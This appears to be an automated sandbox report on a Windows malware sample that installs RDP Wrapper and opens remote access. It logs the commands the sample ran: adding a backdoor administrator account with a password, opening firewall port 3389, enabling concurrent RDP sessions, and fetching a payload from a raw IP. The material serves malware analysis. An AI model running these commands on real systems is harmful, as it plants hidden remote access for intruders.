Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Windows\System32\rfxvmt.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to dropped file

Source: C:\Windows\System32\drivers\tsusbhub.sys

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_0043B58C OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,

8_2_0043B58C

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Size FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Memory allocated: 2AD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Memory allocated: 2CF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Memory allocated: 2B00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: OpenSCManagerW,GetLastError,EnumServicesStatusExW,GetLastError,CloseServiceHandle,EnumServicesStatusExW,CloseServiceHandle,GetLastError,CloseServiceHandle,

8_2_0043B7D4

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Window / User API: threadDelayed 7636			Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Window / User API: threadDelayed 2338			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Program Files\RDP Wrapper\rdpwrap.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll			Jump to dropped file

Source: C:\Users\user\Desktop\hloRQZmlfg.exe TID: 6212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe TID: 4524	Thread sleep count: 7636 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe TID: 4524	Thread sleep count: 2338 > 30	Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_004092D8 FindFirstFileW,FindClose,	8_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_0040F73C FindFirstFileW,FindClose,	8_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 8_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	8_2_00408EB9

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_00409D02 GetSystemInfo,

8_2_00409D02

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Amcache.hve.38.dr	Binary or memory string: VMware
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.38.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.38.dr	Binary or memory string: VMware, Inc.
Source: hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp, hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DAD000.00000004.00000800.00020000.00000000.sdmp, net1.exe, 0000001C.00000002.1770023496.0000000003208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.38.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.38.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.38.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.38.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.38.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.38.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: hloRQZmlfg.exe, 00000000.00000002.1919496760.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!
Source: Amcache.hve.38.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: net1.exe, 0000001C.00000002.1770023496.0000000003208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators
Source: Amcache.hve.38.dr	Binary or memory string: vmci.sys
Source: net1.exe, 0000001C.00000002.1770023496.0000000003208000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators9+h
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.38.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.38.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.38.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.38.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.38.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.38.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.38.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.38.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.38.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.38.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\drivers\tsusbhub.sys

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user	Jump to behavior
Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user RDPUser_1e47a393 GEdtvn58rfdr /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user RDPUser_1e47a393 GEdtvn58rfdr /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" RDPUser_1e47a393 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" RDPUser_1e47a393 /add	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	8_2_004093C0
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00408908
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	8_2_00412C4A
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	8_2_00412C4C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	8_2_00412C98

Source: C:\Users\user\Desktop\hloRQZmlfg.exe	Queries volume information: C:\Users\user\Desktop\hloRQZmlfg.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_00411154 GetLocalTime,

8_2_00411154

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 8_2_00414698 GetVersionExW,

8_2_00414698

Source: C:\Users\user\Desktop\hloRQZmlfg.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.38.dr	Binary or memory string: MsMpEng.exe

Remote Access Functionality

Allows multiple concurrent remote connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Licensing Core EnableConcurrentSessions

Jump to behavior

Enables remote desktop connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	1 LSASS Driver	1 LSASS Driver	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	2 Remote Desktop Protocol	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Create Account	1 Access Token Manipulation	31 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Windows Service	21 Windows Service	12 Software Packing	NTDS	128 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 Timestomp	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hloRQZmlfg.exe	63%	ReversingLabs	Win32.Adware.RedCap
hloRQZmlfg.exe	72%	Virustotal		Browse
hloRQZmlfg.exe	100%	Avira	HEUR/AGEN.1311769
hloRQZmlfg.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	100%	Joe Sandbox ML
C:\Program Files\RDP Wrapper\rdpwrap.dll	54%	ReversingLabs	Win64.PUA.RDPWrapper
C:\Program Files\RDP Wrapper\rdpwrap.dll	57%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	68%	ReversingLabs	Win32.PUA.RDPWrap
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	78%	Virustotal		Browse
C:\Windows\System32\rfxvmt.dll	0%	ReversingLabs
C:\Windows\System32\rfxvmt.dll	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
hansgborn.eu	0%	Virustotal		Browse
api.ipify.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://stascorp.com/load/1-1-0-62	1%	Virustotal		Browse
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	23%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://www.apache.org/licenses/	0%	Virustotal		Browse
https://github.com/lontivero/Open.Nat/issuesOAlso	0%	Virustotal		Browse
http://hansgborn.eu	0%	Virustotal		Browse
http://api.ipify.org/	0%	Virustotal		Browse
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	2%	Virustotal		Browse
https://hansgborn.eu/receive.php	0%	Virustotal		Browse
http://147.45.44.104	21%	Virustotal		Browse
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	0%	Virustotal		Browse
http://api.ipify.org	0%	Virustotal		Browse

Domains and IPs

